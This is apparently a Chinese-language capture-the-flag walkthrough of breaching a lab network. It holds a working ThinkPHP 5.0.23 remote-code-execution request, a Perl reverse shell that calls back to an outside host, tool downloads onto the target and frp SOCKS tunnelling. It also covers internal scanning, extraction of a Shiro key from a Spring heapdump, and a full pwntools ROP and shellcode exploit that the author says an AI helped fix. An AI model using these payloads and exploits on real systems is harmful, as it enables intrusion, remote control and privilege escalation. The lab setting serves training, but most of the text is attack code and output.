fscan扫一下
┌──(kali㉿kali)-[~/fscan]
└─$ ./fscan -h 8.130.66.98
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.3
start infoscan
8.130.66.98:22 open
8.130.66.98:80 open
8.130.66.98:8080 open
[*] alive ports len is: 3
start vulscan
[*] WebTitle http://8.130.66.98 code:200 len:10887 title:""
[*] WebTitle http://8.130.66.98:8080 code:200 len:1027 title:Login Form
[+] PocScan http://8.130.66.98:8080 poc-yaml-thinkphp5023-method-rce poc1
已完成 2/3 [-] ssh 8.130.66.98:22 root root111 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 2/3 [-] ssh 8.130.66.98:22 root a123456. ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 2/3 [-] ssh 8.130.66.98:22 root Aa12345. ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 2/3 [-] ssh 8.130.66.98:22 admin 654321 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 2/3 [-] ssh 8.130.66.98:22 admin Passw0rd ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 2/3 [-] ssh 8.130.66.98:22 admin 1qaz@WSX ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 3/3
[*] 扫描结束,耗时: 7m4.338931151s
发现是thinkphp5023
这是手动payload
POST /index.php?s=captcha&test=-1 HTTP/1.1
Host: 8.130.13.121:8080
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 73
_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1
或者直接使用工具写webshell
http://8.130.13.121:8080/peiqi.php Pass:peiqi
服务器开监听
root@iZt4n7mdgl9ti7mswdnrx0Z:~# nc -lvnp 10000
Listening on 0.0.0.0 10000
反弹shelll
POST /index.php?s=captcha&test=-1 HTTP/1.1
Host: 8.130.13.121:8080
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 285
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=perl%20-MIO%20-e%20'%24p%3Dfork%3Bexit%2Cif(%24p)%3B%24c%3Dnew%20IO%3A%3ASocket%3A%3AINET(PeerAddr%2C%2247.236.24.118%3A10000%22)%3BSTDIN-%3Efdopen(%24c%2Cr)%3B%24~-%3Efdopen(%24c%2Cw)%3Bsystem%24_%20while%3C%3E%3B'
拿flag
ls /
bin
boot
dev
etc
f1ag01_UdEv.txt
home
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
cat /f1ag01_UdEv.txt
flag01: flag{176f49b6-147f-4557-99ec-ba0a351e1ada}
搭建反向代理,使用frp把软件放到服务器
root@iZt4n7mdgl9ti7mswdnrx0Z:~/pentest_tools/frp_0.54.0_linux_amd64# python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
然后服务器下载,服务器的文件
root@iZt4n7mdgl9ti7mswdnrx0Z:~# nc -lvnp 10000
Listening on 0.0.0.0 10000
Connection received on 8.130.13.121 57096
curl http://47.236.24.118:8000/fscan -o fscan
python没有环境变量,搜索一下python位置
find / -name "python*" 2>/dev/null
/etc/apparmor.d/abstractions/python
/etc/python2.7
/etc/python3.8
/etc/python3
/usr/bin/python3.8-config
/usr/bin/python2.7
/usr/bin/python3.8
/usr/bin/python3-config
/usr/bin/python3
获得可以交互的终端
/usr/bin/python2.7 -c 'import pty;pty.spawn("/bin/bash")'
www-data@portal:/var/www/html/background/public$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@portal:/var/www/html/background/public$ ^Z
[1]+ Stopped nc -lvnp 10000
root@iZt4n7mdgl9ti7mswdnrx0Z:~# stty raw -echo ; fg
nc -lvnp 10000
reset
reset: unknown terminal type unknown
Terminal type? screen
frpc.toml文件
[common]
server_addr = 47.236.24.118
server_port = 10001
token = 123456
pool_count = 10
protocol = tcp
tls_enable = true
[socks5_1]
type = tcp
remote_port = 10002
plugin = socks5
use_encryption = true
use_compression = true
frps.toml文件
[common]
bind_addr = 0.0.0.0
bind_port = 10001
dashboard_addr = 0.0.0.0
dashboard_port = 37261
dashboard_user = admin
dashboard_pwd = admin
token = 123456
heartbeat_timeout = 60
max_pool_count = 10
服务器开frp
root@iZt4n7mdgl9ti7mswdnrx0Z:~# ./frps -c frps.toml
靶机开frp
www-data@portal:/var/www/html/background/public$curl http://47.236.24.118:8000/frpc -o frpc
www-data@portal:/var/www/html/background/public$curl http://47.236.24.118:8000/frpc.toml -o frpc.toml
www-data@portal:/var/www/html/background/public$chmod +x frpc
www-data@portal:/var/www/html/background/public$./frpc -c frpc.toml &
很卡,让靶机自己开反向代理出来
frpc.toml文件
[common]
server_addr = 127.0.0.1
server_port = 7000
[socks5]
type = tcp
plugin = socks5
remote_port = 15000
frps.toml文件
[common]
bind_port = 7000
服务器下载下服务端,然后连接
www-data@portal:/var/www/html/background/public$curl http://47.236.24.118:8000/frps -o frps
www-data@portal:/var/www/html/background/public$curl http://47.236.24.118:8000/frps.toml -o frps.toml
www-data@portal:/var/www/html/background/public$curl http://47.236.24.118:8000/frpc.toml -o frpc.toml
www-data@portal:/var/www/html/background/public$ chmod +x frps
www-data@portal:/var/www/html/background/public$ ./frps -c ./frps.toml &
www-data@portal:/var/www/html/background/public$ ./frpc -c ./frpc.toml &
fscan收集一层内网信息
www-data@portal:/var/www/html/background/public$ ./fscan -h 172.28.0.0/16
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.3
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.28.23.17 is alive
(icmp) Target 172.28.23.26 is alive
(icmp) Target 172.28.23.33 is alive
(icmp) Target 172.28.255.253 is alive
[*] LiveTop 172.28.0.0/16 段存活数量为: 4
[*] LiveTop 172.28.23.0/24 段存活数量为: 3
[*] Icmp alive hosts len is: 4
[*] LiveTop 172.28.255.0/24 段存活数量为: 1
172.28.23.26:21 open
172.28.23.33:22 open
172.28.23.33:8080 open
172.28.23.17:8080 open
172.28.23.26:22 open
172.28.23.26:80 open
172.28.23.17:80 open
172.28.23.17:22 open
172.28.23.17:7000 open
172.28.23.17:5555 open
[*] alive ports len is: 10
start vulscan
[*] WebTitle http://172.28.23.17 code:200 len:10887 title:""
[*] WebTitle http://172.28.23.17:8080 code:200 len:1027 title:Login Form
[*] WebTitle http://172.28.23.33:8080 code:302 len:0 title:None 跳转url: http://172.28.23.33:8080/login;jsessionid=0E011DA3A1725113948814D5F93BC618
[*] WebTitle http://172.28.23.26 code:200 len:13693 title:新翔OA管理系统-OA管理平台联系电话:13849422648微信同号,QQ958756413
[*] WebTitle http://172.28.23.33:8080/login;jsessionid=0E011DA3A1725113948814D5F93BC618 code:200 len:3860 title:智联科技 ERP 后台登陆
[+] ftp 172.28.23.26:21:anonymous
[->]OASystem.zip
[+] PocScan http://172.28.23.17:8080 poc-yaml-thinkphp5023-method-rce poc1
[+] PocScan http://172.28.23.33:8080 poc-yaml-spring-actuator-heapdump-file
[+] PocScan http://172.28.23.33:8080 poc-yaml-springboot-env-unauth spring2
已完成 7/10 [-] ssh 172.28.23.17:22 root root123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 7/10 [-] ssh 172.28.23.33:22 root 123321 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 7/10 [-] ssh 172.28.23.26:22 admin admin@111 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 7/10 [-] ssh 172.28.23.33:22 admin 654321 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 8/10 [-] ssh 172.28.23.33:22 admin 12345678 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 8/10 [-] ssh 172.28.23.17:22 admin a123456 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 10/10
[*] 扫描结束,耗时: 28m58.561460162s
扫目录也能出来其实
C:\Users\Administrator\Desktop\dirsearch>python39 dirsearch.py -u http://172.28.23.33:8080/
_|. _ _ _ _ _ _|_ v0.4.3 by 9shen
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11461
Output File: C:\Users\Administrator\Desktop\dirsearch\reports\http_172.28.23.33_8080\__24-09-06_22-58-17.txt
Target: http://172.28.23.33:8080/
[22:58:17] Starting:
......
[22:58:59] 200 - 2KB - /actuator
[22:58:59] 200 - 20B - /actuator/caches
[22:58:59] 200 - 7KB - /actuator/env
[22:58:59] 200 - 91KB - /actuator/beans
[22:58:59] 200 - 99KB - /actuator/conditions
[22:58:59] 200 - 2B - /actuator/info
[22:58:59] 200 - 1018B - /actuator/metrics
[22:58:59] 200 - 54B - /actuator/scheduledtasks
[22:58:59] 200 - 167B - /actuator/health
[22:59:00] 200 - 22KB - /actuator/mappings
[22:59:00] 200 - 50KB - /actuator/loggers
[22:59:00] 200 - 106KB - /actuator/threaddump
[22:59:00] 200 - 14KB - /actuator/configprops
[22:59:00] 200 - 30MB - /actuator/heapdump
......
Task Completed
heapdump泄露
E:\渗透工具合集\JDumpSpider>java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
===========================================
SpringDataSourceProperties
-------------
not found!
===========================================
WeblogicDataSourceConnectionPoolConfig
-------------
not found!
===========================================
MongoClient
-------------
not found!
===========================================
AliDruidDataSourceWrapper
-------------
not found!
===========================================
HikariDataSource
-------------
not found!
===========================================
RedisStandaloneConfiguration
-------------
not found!
===========================================
JedisClient
-------------
not found!
===========================================
CookieRememberMeManager(ShiroKey)
-------------
algMode = GCM, key = AZYyIgMYhG6/CzIJlvpR2g==, algName = AES
===========================================
OriginTrackedMapPropertySource
-------------
management.endpoints.web.exposure.include = *
spring.thymeleaf.encoding = UTF-8
management.endpoint.health.show-details = always
spring.thymeleaf.cache = true
spring.thymeleaf.content-type = text/html
server.port = 8080
spring.thymeleaf.check-template = true
management.endpoints.jmx.exposure.include = *
===========================================
MutablePropertySources
-------------
awt.toolkit = sun.awt.X11.XToolkit
sun.boot.class.path = /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/resources.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/rt.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/sunrsasign.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/jsse.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/jce.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/charsets.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/jfr.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/classes
java.protocol.handler.pkgs = org.springframework.boot.loader
sun.management.compiler = HotSpot 64-Bit Tiered Compilers
sun.cpu.isalist =
sun.jnu.encoding = UTF-8
java.runtime.version = 1.8.0_392-8u392-ga-1~20.04-b08
java.class.path = /opt/erp/ERPApplication-0.0.1-SNAPSHOT.jar
path.separator = :
java.vm.vendor = Private Build
os.version = 5.4.0-169-generic
java.endorsed.dirs = /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/endorsed
java.runtime.name = OpenJDK Runtime Environment
file.encoding = UTF-8
catalina.useNaming = false
spring.beaninfo.ignore = true
java.vm.specification.version = 1.8
os.name = Linux
java.vm.name = OpenJDK 64-Bit Server VM
local.server.port = null
user.country = US
java.vendor.url.bug = http://bugreport.sun.com/bugreport/
sun.java.command = /opt/erp/ERPApplication-0.0.1-SNAPSHOT.jar
java.io.tmpdir = /tmp
catalina.home = /tmp/tomcat.8080.6538724125363434955
java.version = 1.8.0_392
user.home = /home/ops01
user.language = en
PID = 658
java.awt.printerjob = sun.print.PSPrinterJob
CONSOLE_LOG_CHARSET = UTF-8
file.separator = /
catalina.base = /tmp/tomcat.8080.6538724125363434955
java.vm.info = mixed mode
java.specification.name = Java Platform API Specification
java.vm.specification.vendor = Oracle Corporation
FILE_LOG_CHARSET = UTF-8
java.awt.graphicsenv = sun.awt.X11GraphicsEnvironment
java.awt.headless = true
sun.io.unicode.encoding = UnicodeLittle
java.ext.dirs = /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/ext:/usr/java/packages/lib/ext
===========================================
MapPropertySources
-------------
local.server.port = null
===========================================
ConsulPropertySources
-------------
not found!
===========================================
JavaProperties
-------------
java.util.logging.FileHandler.pattern = %h/java%u.log
awt.toolkit = sun.awt.X11.XToolkit
sun.cpu.isalist =
sun.jnu.encoding = UTF-8
java.class.path = /opt/erp/ERPApplication-0.0.1-SNAPSHOT.jar
jdk.security.legacyAlgorithms = SHA1, RSA keySize < 2048, DSA keySize < 2048
java.vm.vendor = Private Build
jdk.disabled.namedCurves = secp112r1, secp112r2, secp128r1, secp128r2, secp160k1, secp160r1, secp160r2, secp192k1, secp192r1, secp224k1, secp224r1, secp256k1, sect113r1, sect113r2, sect131r1, sect131r2, sect163k1, sect163r1, sect163r2, sect193r1, sect193r2, sect233k1, sect233r1, sect239k1, sect283k1, sect283r1, sect409k1, sect409r1, sect571k1, sect571r1, X9.62 c2tnb191v1, X9.62 c2tnb191v2, X9.62 c2tnb191v3, X9.62 c2tnb239v1, X9.62 c2tnb239v2, X9.62 c2tnb239v3, X9.62 c2tnb359v1, X9.62 c2tnb431r1, X9.62 prime192v2, X9.62 prime192v3, X9.62 prime239v1, X9.62 prime239v2, X9.62 prime239v3, brainpoolP256r1, brainpoolP320r1, brainpoolP384r1, brainpoolP512r1
crypto.policy = unlimited
jceks.key.serialFilter = java.lang.Enum;java.security.KeyRep;java.security.KeyRep$Type;javax.crypto.spec.SecretKeySpec;!*
sun.arch.data.model = 64
login.configuration.provider = sun.security.provider.ConfigFile
catalina.useNaming = false
user.timezone =
security.overridePropertiesFile = true
java.vm.specification.version = 1.8
os.name = Linux
user.country = US
security.provider.7 = com.sun.security.sasl.Provider
sun.boot.library.path = /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/amd64
sun.java.command = /opt/erp/ERPApplication-0.0.1-SNAPSHOT.jar
security.provider.9 = sun.security.smartcardio.SunPCSC
jdk.security.caDistrustPolicies = SYMANTEC_TLS
sun.cpu.endian = little
user.home = /home/ops01
user.language = en
java.specification.vendor = Oracle Corporation
en = UTF-8
security.provider.1 = sun.security.provider.Sun
security.provider.2 = sun.security.rsa.SunRsaSign
security.provider.3 = sun.security.ec.SunEC
networkaddress.cache.negative.ttl = 10
jdk.tls.alpnCharset = ISO_8859_1
security.provider.4 = com.sun.net.ssl.internal.ssl.Provider
security.provider.5 = com.sun.crypto.provider.SunJCE
security.provider.6 = sun.security.jgss.SunProvider
ssl.KeyManagerFactory.algorithm = SunX509
file.separator = /
java.specification.name = Java Platform API Specification
java.vm.specification.vendor = Oracle Corporation
FILE_LOG_CHARSET = UTF-8
.level = INFO
java.awt.graphicsenv = sun.awt.X11GraphicsEnvironment
ja = UTF-8
java.awt.headless = true
com.xyz.foo.level = SEVERE
package.definition = sun.,com.sun.xml.internal.,com.sun.imageio.,com.sun.istack.internal.,com.sun.jmx.,com.sun.media.sound.,com.sun.naming.internal.,com.sun.proxy.,com.sun.corba.se.,com.sun.org.apache.bcel.internal.,com.sun.org.apache.regexp.internal.,com.sun.org.apache.xerces.internal.,com.sun.org.apache.xpath.internal.,com.sun.org.apache.xalan.internal.extensions.,com.sun.org.apache.xalan.internal.lib.,com.sun.org.apache.xalan.internal.res.,com.sun.org.apache.xalan.internal.templates.,com.sun.org.apache.xalan.internal.utils.,com.sun.org.apache.xalan.internal.xslt.,com.sun.org.apache.xalan.internal.xsltc.cmdline.,com.sun.org.apache.xalan.internal.xsltc.compiler.,com.sun.org.apache.xalan.internal.xsltc.trax.,com.sun.org.apache.xalan.internal.xsltc.util.,com.sun.org.apache.xml.internal.res.,com.sun.org.apache.xml.internal.resolver.helpers.,com.sun.org.apache.xml.internal.resolver.readers.,com.sun.org.apache.xml.internal.security.,com.sun.org.apache.xml.internal.serializer.utils.,com.sun.org.apache.xml.internal.utils.,com.sun.org.glassfish.,com.oracle.xmlns.internal.,com.oracle.webservices.internal.,oracle.jrockit.jfr.,org.jcp.xml.dsig.internal.,jdk.internal.,jdk.nashorn.internal.,jdk.nashorn.tools.,jdk.xml.internal.,com.sun.activation.registries.,jdk.jfr.events.,jdk.jfr.internal.,jdk.management.jfr.internal.
sun.boot.class.path = /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/resources.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/rt.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/sunrsasign.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/jsse.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/jce.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/charsets.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/jfr.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/classes
java.protocol.handler.pkgs = org.springframework.boot.loader
sun.management.compiler = HotSpot 64-Bit Tiered Compilers
java.runtime.version = 1.8.0_392-8u392-ga-1~20.04-b08
policy.provider = sun.security.provider.PolicyFile
user.name = ops01
policy.url.1 = file:${java.home}/lib/security/java.policy
path.separator = :
fr = UTF-8
securerandom.source = file:/dev/random
policy.url.2 = file:${user.home}/.java.policy
jdk.tls.disabledAlgorithms = SSLv3, TLSv1, TLSv1.1, RC4, DES, MD5withRSA, DH keySize < 1024, EC keySize < 224, 3DES_EDE_CBC, anon, NULL, include jdk.disabled.namedCurves
os.version = 5.4.0-169-generic
java.endorsed.dirs = /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/endorsed
policy.ignoreIdentityScope = false
java.runtime.name = OpenJDK Runtime Environment
keystore.type.compat = true
file.encoding = UTF-8
spring.beaninfo.ignore = true
java.util.logging.ConsoleHandler.formatter = java.util.logging.SimpleFormatter
java.vm.name = OpenJDK 64-Bit Server VM
jdk.sasl.disabledMechanisms =
java.vendor.url.bug = http://bugreport.sun.com/bugreport/
java.io.tmpdir = /tmp
java.util.logging.FileHandler.formatter = java.util.logging.XMLFormatter
java.util.logging.FileHandler.count = 1
catalina.home = /tmp/tomcat.8080.6538724125363434955
java.version = 1.8.0_392
sun.cds.enableSharedLookupCache = false
sun.security.krb5.maxReferrals = 5
jdk.tls.keyLimits = AES/GCM/NoPadding KeyUpdate 2^37
PID = 658
java.vm.specification.name = Java Virtual Machine Specification
java.awt.printerjob = sun.print.PSPrinterJob
CONSOLE_LOG_CHARSET = UTF-8
jdk.xml.dsig.secureValidationPolicy = disallowAlg http://www.w3.org/TR/1999/REC-xslt-19991116,disallowAlg http://www.w3.org/2001/04/xmldsig-more#rsa-md5,disallowAlg http://www.w3.org/2001/04/xmldsig-more#hmac-md5,disallowAlg http://www.w3.org/2001/04/xmldsig-more#md5,maxTransforms 5,maxReferences 30,disallowReferenceUriSchemes file http https,minKeySize RSA 1024,minKeySize DSA 1024,minKeySize EC 224,noDuplicateIds,noRetrievalMethodLoops
catalina.base = /tmp/tomcat.8080.6538724125363434955
java.library.path = /usr/java/packages/lib/amd64:/usr/lib/x86_64-linux-gnu/jni:/lib/x86_64-linux-gnu:/usr/lib/x86_64-linux-gnu:/usr/lib/jni:/lib:/usr/lib
java.util.logging.FileHandler.limit = 50000
java.vm.info = mixed mode, sharing
java.vendor = Private Build
keystore.type = jks
java.specification.maintenance.version = 5
handlers = java.util.logging.ConsoleHandler
sun.io.unicode.encoding = UnicodeLittle
java.ext.dirs = /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/ext:/usr/java/packages/lib/ext
policy.expandProperties = true
securerandom.strongAlgorithms = NativePRNGBlocking:SUN
krb5.kdc.bad.policy = tryLast
===========================================
ProcessEnvironment
-------------
not found!
===========================================
OSS
-------------
not found!
===========================================
UserPassSearcher
-------------
org.apache.shiro.web.filter.authc.FormAuthenticationFilter:
[failureKeyAttribute = shiroLoginFailure, loginUrl = /login, successUrl = /, usernameParam = username, passwordParam = password]
org.apache.catalina.startup.Tomcat:
[hostname = localhost]
===========================================
重点ShiroKey
CookieRememberMeManager(ShiroKey)
-------------
algMode = GCM, key = AZYyIgMYhG6/CzIJlvpR2g==, algName = AES
然后用Shiro反序列化写内存马,然后冰歇连接,然后是打pwn提权,不会pwn就直接拿大头的exp然后运行报错让gpt改了下
from pwn import *
elf = ELF('./HashNote')
context(arch=elf.arch, os='linux', log_level='debug')
# p = process('./HashNote')
p = remote('172.28.23.33', 59696)
def send_command(command):
p.sendlineafter(': ', str(command))
def interact_with_entry(command_id, key, value=None):
send_command(command_id)
p.sendlineafter('Key: ', key)
if value:
p.sendlineafter('Data: ', value)
def set_username(value):
send_command(4)
p.sendafter('New username: ', value)
p.sendlineafter('Username: ', '123')
p.sendlineafter('Password: ', 'freep@ssw0rd:3')
add_entry = lambda key, value: interact_with_entry(1, key, value)
get_entry = lambda key: interact_with_entry(2, key)
update_entry = lambda key, value: interact_with_entry(3, key, value)
add_entry('aabP', 'aaaaaaaa')
add_entry('aace', 'C' * 0xc0)
shellcode = b'\x6a\x3b\x58\x99\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05'
username_addr = 0x5dc980
fake_obj_addr = username_addr + 0x10
def arbitrary_read(addr):
payload = p64(fake_obj_addr) + p64(0xdeadbeef)
fake_obj = p64(fake_obj_addr + 0x10) + p64(4)
fake_obj += b'aahO'.ljust(0x10, b'\x00') + p64(addr) + p64(8) + b'aaaaaaaa'
payload += fake_obj + shellcode
payload = payload.ljust(128, b'\x00')
set_username(payload)
get_entry('aahO')
def arbitrary_write(addr, data):
payload = p64(fake_obj_addr) + p64(0xdeadbeef)
fake_obj = p64(fake_obj_addr + 0x10) + p64(4)
fake_obj += b'aahO'.ljust(0x10, b'\x00') + p64(addr) + p64(len(data)) + b'aaaaaaaa'
payload += fake_obj + shellcode
payload = payload.ljust(128, b'\x00')
set_username(payload)
update_entry('aahO', data)
environ = 0x5e4c38
arbitrary_read(environ)
stack_addr = u64(p.recvuntil(b'\x7f', drop=False)[-6:].ljust(8, b'\0'))
success(f'stack_addr: {stack_addr}')
rdi = 0x0000000000405e7c
rsi = 0x000000000040974f
rax = 0x00000000004206ba
rdx_rbx = 0x000000000053514b
shr_eax_2 = 0x0000000000523f2e
syscall_ret = 0x00000000004d9776
payload = (p64(rdi) + p64(username_addr & ~0xfff) + p64(rsi) + p64(0x1000) +
p64(rdx_rbx) + p64(7) + p64(0) + p64(rax) + p64(0xa << 2) +
p64(shr_eax_2) + p64(syscall_ret) + p64(username_addr + 0x48))
arbitrary_write(stack_addr - 0x210, payload)
p.sendline('uname -ar')
p.interactive()
然后运行就能获得交互shell
┌──(kali㉿kali)-[~]
└─$ proxychains python3 1.py
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[*] '/home/kali/HashNote'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to 172.28.23.33 on port 59696: Done
/home/kali/1.py:22: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter('Username: ', '123')
/home/kali/.local/lib/python3.11/site-packages/pwnlib/tubes/tube.py:841: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
[DEBUG] Received 0x49 bytes:
b'Connection established!\n'
b'Server time: Sat Sep 7 19:21:29 2024\n'
b'\n'
b'Username: '
[DEBUG] Sent 0x4 bytes:
b'123\n'
/home/kali/1.py:23: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter('Password: ', 'freep@ssw0rd:3')
[DEBUG] Received 0xa bytes:
b'Password: '
[DEBUG] Sent 0xf bytes:
b'freep@ssw0rd:3\n'
/home/kali/1.py:10: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter(': ', str(command))
[DEBUG] Received 0x38e bytes:
b'\n'
b'$$\\ $$\\ $$\\ $$\\ $$\\ $$\\ \n'
b'$$ | $$ | $$ | $$$\\ $$ | $$ | \n'
b'$$ | $$ | $$$$$$\\ $$$$$$$\\ $$$$$$$\\ $$$$\\ $$ | $$$$$$\\ $$$$$$\\ $$$$$$\\ \n'
b'$$$$$$$$ | \\____$$\\ $$ _____|$$ __$$\\ $$ $$\\$$ |$$ __$$\\\\_$$ _| $$ __$$\\ \n'
b'$$ __$$ | $$$$$$$ |\\$$$$$$\\ $$ | $$ | $$ \\$$$$ |$$ / $$ | $$ | $$$$$$$$ |\n'
b'$$ | $$ |$$ __$$ | \\____$$\\ $$ | $$ | $$ |\\$$$ |$$ | $$ | $$ |$$\\ $$ ____|\n'
b'$$ | $$ |\\$$$$$$$ |$$$$$$$ |$$ | $$ | $$ | \\$$ |\\$$$$$$ | \\$$$$ |\\$$$$$$$\\ \n'
b'\\__| \\__| \\_______|\\_______/ \\__| \\__| \\__| \\__| \\______/ \\____/ \\_______|\n'
b' \n'
b'\n'
b'Access authorized\n'
b'\n'
b'==================\n'
b'1. insert string\n'
b'2. query string\n'
b'3. modify string\n'
b'4. change username\n'
b'==================\n'
b'Option: '
[DEBUG] Sent 0x2 bytes:
b'1\n'
/home/kali/1.py:14: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter('Key: ', key)
[DEBUG] Received 0x5 bytes:
b'Key: '
[DEBUG] Sent 0x5 bytes:
b'aabP\n'
/home/kali/1.py:16: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter('Data: ', value)
[DEBUG] Received 0x6 bytes:
b'Data: '
[DEBUG] Sent 0x9 bytes:
b'aaaaaaaa\n'
[DEBUG] Received 0x8 bytes:
b'Option: '
[DEBUG] Sent 0x2 bytes:
b'1\n'
[DEBUG] Received 0x5 bytes:
b'Key: '
[DEBUG] Sent 0x5 bytes:
b'aace\n'
[DEBUG] Received 0x6 bytes:
b'Data: '
[DEBUG] Sent 0xc1 bytes:
b'CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\n'
[DEBUG] Received 0x8 bytes:
b'Option: '
[DEBUG] Sent 0x2 bytes:
b'4\n'
/home/kali/.local/lib/python3.11/site-packages/pwnlib/tubes/tube.py:831: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
[DEBUG] Received 0xe bytes:
b'New username: '
[DEBUG] Sent 0x80 bytes:
00000000 90 c9 5d 00 00 00 00 00 ef be ad de 00 00 00 00 │··]·│····│····│····│
00000010 a0 c9 5d 00 00 00 00 00 04 00 00 00 00 00 00 00 │··]·│····│····│····│
00000020 61 61 68 4f 00 00 00 00 00 00 00 00 00 00 00 00 │aahO│····│····│····│
00000030 38 4c 5e 00 00 00 00 00 08 00 00 00 00 00 00 00 │8L^·│····│····│····│
00000040 61 61 61 61 61 61 61 61 6a 3b 58 99 48 bb 2f 2f │aaaa│aaaa│j;X·│H·//│
00000050 62 69 6e 2f 73 68 53 48 89 e7 52 57 48 89 e6 0f │bin/│shSH│··RW│H···│
00000060 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000080
[DEBUG] Received 0xe bytes:
b'Done!\n'
b'Option: '
[DEBUG] Sent 0x2 bytes:
b'2\n'
[DEBUG] Received 0x5 bytes:
b'Key: '
[DEBUG] Sent 0x5 bytes:
b'aahO\n'
[DEBUG] Received 0x11 bytes:
00000000 b8 f0 ac 8f fe 7f 00 00 0a 4f 70 74 69 6f 6e 3a │····│····│·Opt│ion:│
00000010 20 │ │
00000011
[+] stack_addr: 140731308896440
